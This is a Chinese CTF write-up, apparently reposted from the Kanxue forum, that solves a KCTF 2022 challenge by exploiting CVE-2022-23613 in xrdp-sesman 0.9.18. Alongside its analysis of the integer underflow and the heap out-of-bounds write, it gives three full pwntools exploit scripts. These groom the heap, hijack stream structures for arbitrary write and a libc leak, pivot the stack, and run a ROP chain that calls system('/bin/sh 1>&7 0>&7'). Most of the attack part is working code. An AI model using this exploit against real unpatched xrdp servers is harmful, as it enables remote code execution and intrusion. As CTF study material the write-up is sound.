[原创] 看雪KCTF2022秋季赛 第七题 广厦万间
2022-12-1 21:49:56 Author: bbs.pediy.com(查看原文) 阅读量:18 收藏

[原创] 看雪KCTF2022秋季赛 第七题 广厦万间

20小时前 318

[原创] 看雪KCTF2022秋季赛 第七题 广厦万间

从附件所给的Readme以及IDA分析可以看出所给attachment是个xrdp-sesman,版本为0.9.18。

1

2

3

4

5

6

7

8

9

10

__int64 print_version()

{

  g_writeln("xrdp-sesman %s", "0.9.18");

  g_writeln("  The xrdp session manager");

  g_writeln("  Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.");

  g_writeln("  See https://github.com/neutrinolabs/xrdp for more information.");

  g_writeln("%s", "");

  g_writeln("  Configure options:");

  return g_writeln("%s", "      \n");

}

直接googl xrdp rce,很容搜到 CVE-2022-23613,并且受影响的版本为0.9.18及以前,找到相关的patch commit:

patch

再结合IDA分析所给attachment中的sesman_data_in函数,没有size <= 8的判断,显然是未patch的状态:

binary

可以确定这题考察的就是CVE-2022-23613的利用了。

从github上直接下0.9.18的源码,然后降级openssl,在本地编译一个xrdp,解决lib的问题,即可正常跑起来。

简单来说,xrdp-sesman会在本地监听3350端口(/etc/xrdp/sesman.ini):

config

每次有一个socket连接进来,就会分配一个trans结构体:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

struct trans

{

    tbus sck; /* socket handle */

    int mode; /* 1 tcp, 2 unix socket, 3 vsock */

    int status;

    int type1; /* 1 listener 2 server 3 client */

    ttrans_data_in trans_data_in;

    ttrans_conn_in trans_conn_in;

    void *callback_data;

    int header_size;

    struct stream *in_s;

    struct stream *out_s;

    char *listen_filename;

    tis_term is_term; /* used to test for exit */

    struct stream *wait_s;

    char addr[256];

    char port[256];

    int no_stream_init_on_data_in;

    int extra_flags; /* user defined */

    struct ssl_tls *tls;

    const char *ssl_protocol; /* e.g. TLSv1, TLSv1.1, TLSv1.2, unknown */

    const char *cipher_name;  /* e.g. AES256-GCM-SHA384 */

    trans_recv_proc trans_recv;

    trans_send_proc trans_send;

    trans_can_recv_proc trans_can_recv;

    struct source_info *si;

    enum xrdp_source my_source;

};

然后进行相应的初始化:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

in_trans = trans_create(self->mode, self->in_s->size,

                        self->out_s->size);

in_trans->sck = in_sck;

in_trans->type1 = TRANS_TYPE_SERVER;

in_trans->status = TRANS_STATUS_UP;

in_trans->is_term = self->is_term;

g_strncpy(in_trans->addr, self->addr,

          sizeof(self->addr) - 1);

g_strncpy(in_trans->port, self->port,

          sizeof(self->port) - 1);

g_sck_set_non_blocking(in_sck);

if (self->trans_conn_in(self, in_trans) != 0)

{

    trans_delete(in_trans);

}

简单来说,就是设置sockfdtype1status等,并且为in_sout_s分配空间,记录client的ip address和port,后面就进入到server和client的socket通信逻辑中了。

在通信过程中,server端接收的数据包格式为:

1

| version(4 bytes) | size(4 bytes, be) | payload (size - 8) |

因此接收一个完整的数据包过程分为两步,第一步接收8 bytes,然后根据size字段计算出后续payload的长度为(size - 8)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)

{

}

else if (self->trans_can_recv(self, self->sck, 0))

{

    cur_source = XRDP_SOURCE_NONE;

    if (self->si != 0)

    {

        cur_source = self->si->cur_source;

        self->si->cur_source = self->my_source;

    }

    // 目前已经读到的字节数

    read_so_far = (int) (self->in_s->end - self->in_s->data);

    // 还需要读的字节数

    to_read = self->header_size - read_so_far;

    if (to_read > 0)

    {

        // 接收数据,把都进来的数据写到 self->in_s->end 开始的位置,并更新其值

        read_bytes = self->trans_recv(self, self->in_s->end, to_read);

        if (read_bytes == -1)

        {

            if (g_tcp_last_error_would_block(self->sck))

            {

                /* ok, but shouldn't happen */

            }

            else

            {

                /* error */

                self->status = TRANS_STATUS_DOWN;

                if (self->si != 0)

                {

                    self->si->cur_source = cur_source;

                }

                return 1;

            }

        }

        else if (read_bytes == 0)

        {

            /* error */

            self->status = TRANS_STATUS_DOWN;

            if (self->si != 0)

            {

                self->si->cur_source = cur_source;

            }

            return 1;

        }

        else

        {

            self->in_s->end += read_bytes;

        }

    }

    // 目前已经读到的字节数

    read_so_far = (int) (self->in_s->end - self->in_s->data);

    // 已经读到需要的字节数,进入 sesman_data_in 进行处理

    if (read_so_far == self->header_size)

    {

        if (self->trans_data_in != 0)

        {

            rv = self->trans_data_in(self); // sesman_data_in()

            if (self->no_stream_init_on_data_in == 0)

            {

                init_stream(self->in_s, 0);

            }

        }

    }

    if (self->si != 0)

    {

        self->si->cur_source = cur_source;

    }

}

if (trans_send_waiting(self, 0) != 0)

{

    /* error */

    self->status = TRANS_STATUS_DOWN;

    return 1;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

static int

sesman_data_in(struct trans *self)

{

    int version;

    int size;

    // 解析8字节的头部数据,更新header_size为该数据包总长

    if (self->extra_flags == 0)

    {

        in_uint32_be(self->in_s, version);

        in_uint32_be(self->in_s, size);

        if (size > self->in_s->size)

        {

            LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");

            return 1;

        }

        self->header_size = size;

        self->extra_flags = 1;

    }

    // 解析完整的数据包,并做相应的处理

    else

    {

        /* process message */

        struct sesman_con *sc = (struct sesman_con *)self->callback_data;

        self->in_s->p = self->in_s->data;

        if (scp_process(self, sc->s) != SCP_SERVER_STATE_OK)

        {

            LOG(LOG_LEVEL_ERROR, "sesman_data_in: scp_process_msg failed");

            return 1;

        }

        /* reset for next message */

        self->header_size = 8;

        self->extra_flags = 0;

        init_stream(self->in_s, 0); /* Reset input stream pointers */

    }

    return 0;

}

问题在于如果header的字段size < 8,那么to_read就会整数溢出。

且由于这里涉及的size都是符号整数,因此如果设置header_size = 0x80000000,那么to_read = 0x80000000 - 8 = 0x7ffffff8,从而导致heap-based OOB write。

OOB

由于每次连接,server端都会创建一个trans结构体,因此可以创建多个连接,使得在self->in_s->end后面喷上一堆trans的结构体,且该结构体中有很多可以利用的成员,包括函数指针。

trans

第一想法就是是否能够通过劫持trans结构体完成地址泄露.
通过分析trans_check_wait_objs()发现,server除了每次读完数据之后,还有一个额外的动作,即如果trans->wait_s如果不为NULL的话,会把缓冲区中的数据发送给client。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

if (trans_send_waiting(self, 0) != 0)

{

    /* error */

    self->status = TRANS_STATUS_DOWN;

    return 1;

}

int

trans_send_waiting(struct trans *self, int block)

{

    struct stream *temp_s;

    int bytes;

    int sent;

    int timeout;

    int cont;

    timeout = block ? 100 : 0;

    cont = 1;

    while (cont)

    {

        // self->wait_s不为0

        if (self->wait_s != 0)

        {

            temp_s = self->wait_s;

            if (g_tcp_can_send(self->sck, timeout))

            {

                bytes = (int) (temp_s->end - temp_s->p);

                // 通过socket向client发送数据

                sent = self->trans_send(self, temp_s->p, bytes);

                if (sent > 0)

                {

                    temp_s->p += sent;

                    if (temp_s->source != 0)

                    {

                        temp_s->source[0] -= sent;

                    }

                    if (temp_s->p >= temp_s->end)

                    {

                        self->wait_s = temp_s->next;

                        free_stream(temp_s);

                    }

                }

                else if (sent == 0)

                {

                    return 1;

                }

                else

                {

                    if (!g_tcp_last_error_would_block(self->sck))

                    {

                        return 1;

                    }

                }

            }

            else if (block)

            {

                /* check for term here */

                if (self->is_term != 0)

                {

                    if (self->is_term())

                    {

                        /* term */

                        return 1;

                    }

                }

            }

        }

        else

        {

            break;

        }

        cont = block;

    }

    return 0;

}

虽然正常情况下,trans->wait_s = NULL,但是可以通过OOB write对其进行劫持,设置trans->wait_s->ptrans->wait_s->end,就能把两者之间的数据发送给client。

但是这里存在一个问题,trans->wait_s是一个struct stream *

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

struct stream

{

    char *p;

    char *end;

    char *data;

    int size;

    int pad0;

    /* offsets of various headers */

    char *iso_hdr;

    char *mcs_hdr;

    char *sec_hdr;

    char *rdp_hdr;

    char *channel_hdr;

    /* other */

    char *next_packet;

    struct stream *next;

    int *source;

};

需要在某个地址已知的地方布置一个stream结构体,然后再将trans->wait_s劫持到这个结构体上才能达到目的。
此时由于binary没有PIE,唯一知道的地址就是程序的地址,因此我只能先构造出一个任意地址写的原语,在bss上伪造一个stream结构体。

因此把目标选为trans->in_s,这个stream结构体存放server接收缓冲区的地址信息,根据self->trans_recv(self, self->in_s->end, to_read);self->in_s是在堆上动态分配出来的,因此有可能可以通过OOB write将其劫持,实现任意地址写。

然而调试过程中发现,in_s chunk总是落在trans chunk之后,意味着在写到in_s结构体之前,必然会先破坏trans结构体。
因此这里需要进行堆风水,让in_s->end跳过trans结构体,落在in_s上。

很自然的想法就是首先通过OOB write,将in_s->end挪到trans + 0x20的位置上,因为前0x20 bytes的内容都是已知的。
然后通过断开连接,将这个trans给释放掉,这样继续OOB的时候,由于in_s->end此时落在chunk + 0x20的位置,不会破坏free chunk的metadata,因此可以继续OOB write,让其很安全地跨过trans结构体,落在in_s前。
最后再进行连接,将这个trans重新分配出来,这样再OOB write,就能劫持到in_s结构体了。

不过需要注意的是,内存的分配都是通过g_malloc进行的:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

void *

g_malloc(int size, int zero)

{

    char *rv;

    rv = (char *)malloc(size);

    if (zero)

    {

        if (rv != 0)

        {

            memset(rv, 0, size);

        }

    }

    return rv;

}

虽然源码里都是malloc,但是实际上g_malloc(xx, 0)最后都被优化为calloc,因为calloc不会从tcache中分配chunk,因此这里还需要通过7次连接加断开将相应的tcache填满,才能使得后来释放的trans能够重新分配回来。

这个阶段结束,就完成对trans->in_s的劫持了:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

context.encoding = 'latin-1'

os.system("kill -9 `pidof xrdp-sesman`")

os.system("rm /var/run/xrdp-sesman.pid")

os.system("./xrdp-sesman &")

p = remote("127.0.0.1", 3350)

conns = [0 for i in range(16)]

for i in range(10):

    conns[i] = remote("127.0.0.1", 3350)

print("prepare to send version and size")

pause()

p.send(p32(0))

p.send(p32(0x80000000, endian='big'))

print("prepare to close 7 conns")

pause()

for i in range(7):

    conns[i + 1].close()

print("prepare to overflow")

pause()

p.send(b"\x00" * 0x2000 + p64(0xb1) + b"\x00" * 0xa8 + p64(0x2b1) + p64(0x8) + p32(0x1) + p32(0x1) + p64(0x2) + p64(0x407880))

print("prepare to close conns[0]")

pause()

conns[0].close()

print("mov pointer")

pause()

p.send(b"\x00" * 0x280)

print("prepare to retrive the trans and in_s back")

pause()

conns[11] = remote("127.0.0.1", 3350)

print("prepare to fake in_s")

pause()

p.send(p64(0) + p64(0x71) + p64(0x410c00) + p64(0x410c00) + p64(0x410bf8))

p.interactive()

hijack in_s

之后通过conns[11](对应被劫持的trans)发送数据给server,就能在0x410c00开始的位置布置数据了,即可以伪造任意的stream的结构体。

为了完成地址泄露,还是需要回到劫持trans->wait_s的路上去。
但是此时buffer指针已经落在trans后面了,如果想要继续OOB write劫持后面的trans结构体的话,会破坏堆上的free chunk。
因此只能将当前OOB write的trans释放再重新取回,从而重置in_s->end指针位置,使得其能够在不破坏chunk结构的情况下,劫持到trans->wait_s

目前为止,通过在bss上构造一个wait_s结构体用来泄露got表,以及一个合法的in_s保证劫持wait_s的过程中程序的正常执行,即可完成对got表内容的泄露,从而获取到libc的地址。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

context.encoding = 'latin-1'

os.system("kill -9 `pidof xrdp-sesman`")

os.system("rm /var/run/xrdp-sesman.pid")

os.system("./xrdp-sesman &")

p = remote("127.0.0.1", 3350)

conns = [0 for i in range(16)]

for i in range(10):

    conns[i] = remote("127.0.0.1", 3350)

print("prepare to send version and size")

pause()

p.send(p32(0))

p.send(p32(0x80000000, endian='big'))

print("prepare to close 7 conns")

pause()

for i in range(7):

    conns[i + 1].close()

print("prepare to overflow")

pause()

p.send(b"\x00" * 0x2000 + p64(0xb1) + b"\x00" * 0xa8 + p64(0x2b1) + p64(0x8) + p32(0x1) + p32(0x1) + p64(0x2) + p64(0x407880))

print("prepare to close conns[0]")

pause()

conns[0].close()

print("mov pointer")

pause()

p.send(b"\x00" * 0x280)

print("prepare to retrive the trans and in_s back")

pause()

conns[11] = remote("127.0.0.1", 3350)

print("overflow conns[11]")

conns[11].send(p32(0))

conns[11].send(p32(0x80000000, endian='big'))

print("prepare to fake in_s")

pause()

p.send(p64(0) + p64(0x71) + p64(0x410c00) + p64(0x410c00) + p64(0x410bf8))

print("prepare to fake another in_s and wait_s")

pause()

fake_in_s = flat([0x410d80, 0x410d80, 0x410d80, 0x2000] + [0] * 8)

fake_wait_s = flat([0, 0x101, 0x410000, 0x4104F8, 0]).ljust(0x100, b'\x00') + p64(0) + p64(0x11) + p64(0) + p64(0x11)

conns[11].send(fake_in_s + fake_wait_s)

print("prepare to close p")

pause()

p.close()

print("prepare to create p")

pause()

p = remote("127.0.0.1", 3350)

p.send(p32(0x2222CCCC))

p.send(p32(0x80000000, endian='big'))

print("prepare to create conns[12], and p's trans->in_s->end will just locate above conns[12]'s trans strucure")

pause()

conns[12] = remote("127.0.0.1", 3350)

conns[12].send(p32(0x2222CCCC))

conns[12].send(p32(0x80000000, endian='big'))

print("prepare to hijack in_s and wait_s")

pause()

payload = b"\x00" * 0x2000 + p64(0x2b1) + p64(0x9) + p32(1) + p32(1) + p64(0x2) + p64(0x0000000000407880) + p64(0) + p64(0xdeadbeef) + p64(0x410d80) + p64(0x410c00) + p64(0) + p64(0) * 2 + p64(0x410c70)

p.send(payload)

print("prepare to leak")

pause()

conns[12].recvn(0x148)

libc_base = u64(conns[12].recvn(0x8)) - 0xa5120

success("libc_base: %s" % hex(libc_base))

p.interactive()

leakage

最后一步显然就是通过劫持trans中的函数指针来getshell了。
最直接的目标就是trans->trans_recv,因为在调用trans->trans_recv时,第三个参数为to_readedi寄存器),它是由header_size间接控制的,因此只要结合mov rsp, rdx; ret的gadget,将栈迁移到bss上进行rop就行了。

至于ropchain,前面已经可以在bss上写数据了,因此布置一条rop链也就轻而易举了。

只要执行`system("/bin/sh 1>&7 0>&7")就可以愉快地getshell了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

from pwn import *

context.arch = 'amd64'

context.log_level = 'debug'

context.encoding = 'latin-1'

p = remote("127.0.0.1", 3350)

conns = [0 for i in range(16)]

for i in range(10):

    conns[i] = remote("127.0.0.1", 3350)

print("prepare to send version and size")

pause()

p.send(p32(0))

p.send(p32(0x80000000, endian='big'))

print("prepare to close 7 conns")

pause()

for i in range(7):

    conns[i + 1].close()

print("prepare to overflow")

pause()

p.send(b"\x00" * 0x2000 + p64(0xb1) + b"\x00" * 0xa8 + p64(0x2b1) + p64(0x8) + p32(0x1) + p32(0x1) + p64(0x2) + p64(0x407880))

print("prepare to close conns[0]")

pause()

conns[0].close()

print("mov pointer")

pause()

p.send(b"\x00" * 0x280)

print("prepare to retrive the trans and in_s back")

pause()

conns[11] = remote("127.0.0.1", 3350)

print("overflow conns[11]")

conns[11].send(p32(0))

conns[11].send(p32(0x80000000, endian='big'))

print("prepare to fake in_s")

pause()

p.send(p64(0) + p64(0x71) + p64(0x410c00) + p64(0x410c00) + p64(0x410bf8))

print("prepare to fake another in_s and wait_s")

pause()

fake_in_s = flat([0x410d80, 0x410d80, 0x410d80, 0x2000] + [0] * 8)

fake_wait_s = flat([0, 0x101, 0x410000, 0x4104F8, 0]).ljust(0x100, b'\x00') + p64(0) + p64(0x11) + p64(0) + p64(0x11)

conns[11].send(fake_in_s + fake_wait_s)

print("prepare to close p")

pause()

p.close()

print("prepare to create p")

pause()

p = remote("127.0.0.1", 3350)

p.send(p32(0x2222CCCC))

p.send(p32(0x80000000, endian='big'))

print("prepare to create conns[12], and p's trans->in_s->end will just locate above conns[12]'s trans strucure")

pause()

conns[12] = remote("127.0.0.1", 3350)

conns[12].send(p32(0x2222CCCC))

conns[12].send(p32(0x80000000, endian='big'))

print("prepare to hijack in_s and wait_s")

pause()

payload = b"\x00" * 0x2000 + p64(0x2b1) + p64(0x9) + p32(1) + p32(1) + p64(0x2) + p64(0x0000000000407880) + p64(0) + p64(0xdeadbeef) + p64(0x410d80) + p64(0x410c00) + p64(0) + p64(0) * 2 + p64(0x410c70)

p.send(payload)

print("prepare to leak")

pause()

conns[12].recvn(0x148)

libc_base = u64(conns[12].recvn(0x8)) - 0xa5120

print("prepare rop chain")

pause()

mov_rsp_rdx = libc_base + 0x000000000005a170

pop_rdi = libc_base + 0x000000000002a3e5

pop_rsi = libc_base + 0x000000000002be51

pop_rdx = libc_base + 0x000000000011f497

pop_rax = libc_base + 0x0000000000045eb0

syscall_ret = libc_base + 0x0000000000091396

system = libc_base + 0x00000000050d60

ropchain = flat([pop_rdi, 0x410e80, system])

ropchain = ropchain.ljust(0x100, b'\x00')

ropchain += b'/bin/sh 1>&7 0>&7'

conns[11].send(ropchain)

print("hijack conns[12]'s trans_recv")

pause()

payload = b'\x00' * 0x220 + p64(mov_rsp_rdx)

p.send(payload)

print("getshell")

pause()

conns[12].send(b'\x00')

success("libc_base: %s" % hex(libc_base))

p.interactive()

整体来说堆布局还是比较稳定的,不过显然是一次性exp,第二次再打堆布局就变了,得重启靶机环境。

[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~


文章来源: https://bbs.pediy.com/thread-275378.htm
如有侵权请联系:admin#unsafe.sh